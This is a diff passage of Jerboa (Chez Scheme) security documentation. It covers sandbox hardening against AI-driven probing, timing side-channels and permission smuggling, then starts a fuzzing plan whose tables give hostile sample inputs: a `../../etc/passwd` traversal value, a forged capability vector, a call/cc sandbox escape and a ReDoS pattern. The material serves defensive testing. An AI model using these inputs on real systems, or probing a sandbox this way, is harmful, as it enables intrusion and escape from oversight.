capability checks + kernel sandboxing (seccomp/landlock when implemented) + resource limits. + +### 2. Instrument and Audit Sandbox Activity + +Add structured logging for every sandbox operation: `sandbox-eval` calls, `sandbox-import!` attempts (especially rejected ones), capability checks (passed and failed), and resource consumption. AI attacks often involve probing — repeated eval attempts to map the sandbox surface. Audit logs make this detectable. + +### 3. Resource Budgets, Not Just Limits + +Individual limits (depth, string length) are necessary but insufficient. Add cumulative budgets per sandbox session: total allocations (bytes), total eval count, total CPU time, total output size. Kill the sandbox when any budget is exceeded. This prevents AI attacks that stay under each individual limit but exhaust resources cumulatively. + +### 4. Deterministic Sandbox Responses + +Remove or stub timing primitives (`current-time`, `real-time`, `cpu-time`, `time` macro, `(statistics)`) in sandbox contexts. AI attackers can use timing measurements to: +- Fingerprint the host environment +- Mount timing side-channel attacks against crypto operations +- Determine whether capability checks succeeded based on response latency + +### 5. Signed Module Manifests + +Each library should declare its maximum capability requirements in a machine-readable manifest (e.g., `(declare-capabilities filesystem: read network: none process: none)`). The build system rejects any module that uses capabilities beyond its declaration. This catches AI-generated modules that smuggle in unexpected permissions. + +### 6. Content-Addressed Dependencies + +Pin all external dependencies (C libraries, Chez Scheme version, Rust crates) by content hash. The Rust native replacement (`jerboa-native-rs`) with `Cargo.lock` is the right direction. Extend this to C dependencies: verify checksums of `.so` files loaded via `load-shared-object`. new file mode 100644 --- /dev/null +++ b/docs/archive/fuzzing.md @@ -0,0 +1,697 @@ +# Jerboa Fuzzing Strategy + +A comprehensive plan for discovering crashes, hangs, memory exhaustion, and logic bugs across Jerboa's parsing, networking, and security surfaces. + +--- + +## Table of Contents + +1. [What Fuzzing Finds](#what-fuzzing-finds) +2. [Fuzzing Architecture for Chez Scheme](#fuzzing-architecture-for-chez-scheme) +3. [Target Inventory](#target-inventory) +4. [Target Details](#target-details) +5. [Seed Corpus Strategy](#seed-corpus-strategy) +6. [Harness Design](#harness-design) +7. [Bug Oracles](#bug-oracles) +8. [Infrastructure](#infrastructure) +9. [Triage and Regression](#triage-and-regression) +10. [Implementation Roadmap](#implementation-roadmap) + +--- + +## What Fuzzing Finds + +Fuzzing is uniquely effective at finding bugs that humans and code review miss — the weird corner cases that only emerge from millions of random inputs. In Jerboa specifically, fuzzing targets these bug classes: + +### Crashes and Unhandled Exceptions + +| Bug Class | Where It Hides in Jerboa | Example | +|-----------|--------------------------|---------| +| **Stack overflow from unbounded recursion** | Reader (nested lists/comments), JSON (nested objects/arrays), DNS (compression pointer loops) | `((((((((...1000 deep...))))))))` overflows the Chez stack | +| **Bytevector out-of-bounds** | HTTP/2 frame decode, WebSocket frame decode, DNS response parsing | Frame header says 100 bytes of payload but only 50 bytes exist | +| **Invalid character conversions** | JSON `\uXXXX` escapes, UTF-8 decoder, Hex decoder | `\uDEAD` (lone surrogate) crashes `integer->char` | +| **Assertion failures in parsing state machines** | Reader hash dispatch, CSV quote handling, regex compilation | `#u8(not-a-number)` hits an unguarded branch | +| **Division by zero / arithmetic errors** | Format string processing, HTTP/2 HPACK integer decoding | Format directive with zero-width field | + +### Denial of Service (Hangs and Resource Exhaustion) + +| Bug Class | Where It Hides in Jerboa | Example | +|-----------|--------------------------|---------| +| **Infinite loops** | DNS compression pointers (cycle), regex backtracking (ReDoS), reader block comments | DNS name at offset X with compression pointer back to X | +| **Memory exhaustion via allocation** | HTTP/2 frame with 16MB length field, WebSocket with 2^63 payload length, JSON with million-element arrays | `ws-frame-decode` reads 8-byte length, calls `make-bytevector` with 2^63 | +| **CPU exhaustion via backtracking** | Pregexp engine on pathological patterns, deeply nested schema validation | `(a+)+$` matched against `"aaaaaaaaaaaaaaaaaaaab"` | +| **File descriptor / resource leaks** | Parsers that open ports but don't close on malformed input | `read-json` on a port where the first byte is invalid — does the port get closed? | + +### Logic Bugs and Silent Data Corruption + +| Bug Class | Where It Hides in Jerboa | Example | +|-----------|--------------------------|---------| +| **Silent wrong output** | Base64 decoder accepting invalid characters (returns -1, used as value), hex decoder silently dropping odd final byte | `base64-decode "aGVsbG8@@@"` produces garbage instead of raising an error | +| **Truncated parse without error** | CSV parser dropping the last field when quote is unterminated, JSON accepting trailing garbage | `{"a":1}GARBAGE` parses as `{"a":1}` — no error | +| **Type confusion at boundaries** | FFI layer accepting wrong Scheme types, config system accepting non-string keys | `sqlite-exec` with a bytevector where a string is expected | +| **Differential bugs** | Reader producing different ASTs than Gerbil's reader for the same input | `#;(foo) bar` — does Jerboa handle datum comments identically to Gerbil? | + +### Security-Specific Bugs + +| Bug Class | Where It Hides in Jerboa | Example | +|-----------|--------------------------|---------| +| **Sandbox escape** | `restricted-eval` with crafted syntax objects, continuation capture across sandbox boundary | `(call/cc (lambda (k) k))` captured inside sandbox, invoked outside | +| **Capability forgery** | Currently vectors — any code can construct one (V2 in security.md) | `(vector 'capability 999 'filesystem '((read . #t)))` | +| **Injection via format strings** | `format` called with user-controlled first argument | User input containing `~a` or `~s` directives | +| **Path traversal** | Router parameter extraction, config file paths, sanitize-path edge cases | `:id` param set to `../../etc/passwd` | +| **Integer overflow in size calculations** | HTTP/2 payload length, WebSocket frame length, buffer allocation | Length fields that overflow fixnum range | + +--- + +## Existing Hardening + +Before fuzzing, it's important to know what defenses already exist. These limits are parameterized and can be tested by fuzzing with both default and extreme values. + +| Module | Defense | Parameter | Default | +|--------|---------|-----------|---------| +| `jerboa/reader` | Read depth limit | `*max-read-depth*` | 1000 | +| `jerboa/reader` | Block comment nesting limit | `*max-block-comment-depth*` | 1000 | +| `std/text/json` | JSON nesting depth limit | `*json-max-depth*` | 512 | +| `std/text/json` | Max string length | `*json-max-string-length*` | 10MB | +| `std/net/http2` | Max frame payload size | `*http2-max-frame-size*` | 1MB | +| `std/net/websocket` | Max payload size | `*ws-max-payload-size*` | 16MB | +| `std/net/dns` | Compression pointer hop limit | hardcoded | 32 hops | +| `std/text/csv` | Max field length | `*csv-max-field-length*` | 1MB | +| `std/security/restrict` | Allowlist-only bindings | `safe-bindings` | ~113 bindings | +| `std/format` | Safe format variants | `safe-printf` / `safe-fprintf` | N/A | + +Fuzzing should test both the happy path (limits hold) and the bypass path (can the limit be circumvented?). + +--- + +## Fuzzing Architecture for Chez Scheme + +Chez Scheme is garbage-collected and memory-safe in pure Scheme code, so traditional C fuzzing tools (AFL, libFuzzer) don't directly apply. We need a hybrid approach. + +### Approach 1: Scheme-Level Property-Based Fuzzing (Primary) + +Write Scheme harnesses that generate random inputs and feed them to parsing functions. This catches the majority of bugs: unhandled exceptions, infinite loops, memory bombs, and logic errors. + +**Important**: Chez Scheme does not have a built-in `with-time-limit`. We implement timeout detection using `(engine)` — Chez's preemptive evaluation mechanism that counts "ticks" (reductions). This catches infinite loops and excessive computation but measures work done, not wall-clock time. + +```scheme +;; Generic fuzzing harness pattern +;; Uses Chez Scheme's engine mechanism for timeout detection +(import (jerboa prelude) + (std test)) + +(define (fuzz-with-timeout thunk fuel) + ;; Returns: 'ok, 'timeout, or 'exception + ;; fuel = approximate number of reductions before timeout + (let ([eng (make-engine thunk)]) + (eng fuel + (lambda (remaining result) 'ok) ;; completed + (lambda (new-engine) 'timeout)))) ;; ran out of fuel